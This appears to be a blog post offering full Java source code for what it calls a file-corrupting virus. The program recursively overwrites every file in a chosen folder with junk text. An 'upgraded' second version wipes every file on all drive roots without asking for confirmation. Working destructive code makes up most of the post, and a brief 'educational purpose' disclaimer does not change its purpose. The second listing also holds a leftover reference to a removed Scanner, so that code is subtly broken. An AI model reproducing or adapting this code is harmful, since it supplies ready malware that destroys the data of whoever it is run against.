File Corrupting Virus





Are you all fed up of googling  

How to create a virus using java

Source code of virus program in java

And could't turn up except a simple hard disk flooder virus or something same of the type.
Therefore to provide you with a better virus code here Quadgen presents you with this hardisk corrupting virus.

What it can do?

This file corrupting virus made using java programming language could corrupt all the files inside a folder.
Not only only inside a folder it can corrupt all the files inside a drive or the whole hardisk.

How it works?


This java code is very simple and could corrupt a folder within no time.It simply write junk data into that file and makes that file useless.I have tested it only many file formats and it works quite well on all photo formats(i.e. png,jpeg and others), all video formats(i.e. .mp4, .flv, .avi and others) and also on formats like
.wav, .doc , pptx ,zip ,rar and many more.

So here is the complete java code

/*This program is created by shashank sahu @author Quadgen. You are free to use it anywhere you like but for any misuse neither the author nor the website will be responsible for it */

package Quadgen.virus;

import java.io.*;
import java.util.*;
public class Corrupt
{

    static PrintWriter p;
 static String filename;
    public static void main(String args[])  {
  
       Scanner sc=new Scanner(System.in);
     System.out.print("Enter the path of folder:-");   
     String path=sc.nextLine();
    try {
System.out.println("Corruption stared");
    corrupt(new File(path));
} catch (Exception e) {

e.printStackTrace();
}
    System.out.println(args+"   corrupted");
     sc.close();    

    }
    
static void corrupt(File f)
    {
     File[] paths;
        paths=f.listFiles();
      
        if(paths!=null)
        {
            int l=paths.length;   
        for(int i=0;i<l;i++)
        {
        if(paths[i].isDirectory())
            {
                corrupt(paths[i]);
            }
        
       else{ 
         try {
p=new PrintWriter(new BufferedWriter(new FileWriter(paths[i])));
    } catch (IOException e) {

e.printStackTrace();
}
           
         p.println("corrupt");
        p.close();   
        }
    }
     

}
}
}

Note:- When you will run this program then it will ask for a path if you want to corrupt the whole drive for example D:/ then you should do as follows.



OUTPUT:-


Enter the path of folder :-D:/
Corruption Started
D:/ corrupted



It might take some time to corrupt whole D drive depending on the size of it.
      

* This Virus is  for educational purpose. If Your computer gets any damage Neither The Author Nor the site is responsible for it. 


Now its time to upgrade this virus

Here i will make some changes in the above code so that the virus could start corrupting the whole hardisk without asking you any folder location as it is doing so in the previous program.

Below is the complete code changes are marked with blue bold color.

/*This program is created by shashank sahu @author Quadgen. You are free to use it anywhere you like but for any misuse neither the author nor the website will be responsible for it */

package Quadgen.virus;

import java.io.*;
public class Corrupt
{

    static PrintWriter p;
 static String filename;
    public static void main(String args[])  {
  
       
    try {
System.out.println("Corruption stared");
File dirs[]=File.listRoots();    
for(int i=0;i<dirs.length;i++)

corrupt(dirs[i]);

}
 catch (Exception e) {

e.printStackTrace();
}
    System.out.println(args+"   corrupted");
     sc.close();    

    }
    
static void corrupt(File f)
    {
     File[] paths;
        paths=f.listFiles();
      
        if(paths!=null)
        {
            int l=paths.length;   
        for(int i=0;i<l;i++)
        {
        if(paths[i].isDirectory())
            {
                corrupt(paths[i]);
            }
        
       else{ 
         try {
p=new PrintWriter(new BufferedWriter(new FileWriter(paths[i])));
     } catch (IOException e) {

e.printStackTrace();
}
           
         p.println("corrupt");
        p.close();   
        }
    }
     

}
}
}

Note once the program is started it you will be not be prompted to enter any data it will simply start to corrupt your files so beware before you use it.


Please don't hesitate to comment below if you have any problem related to the program.

Comments

Popular Posts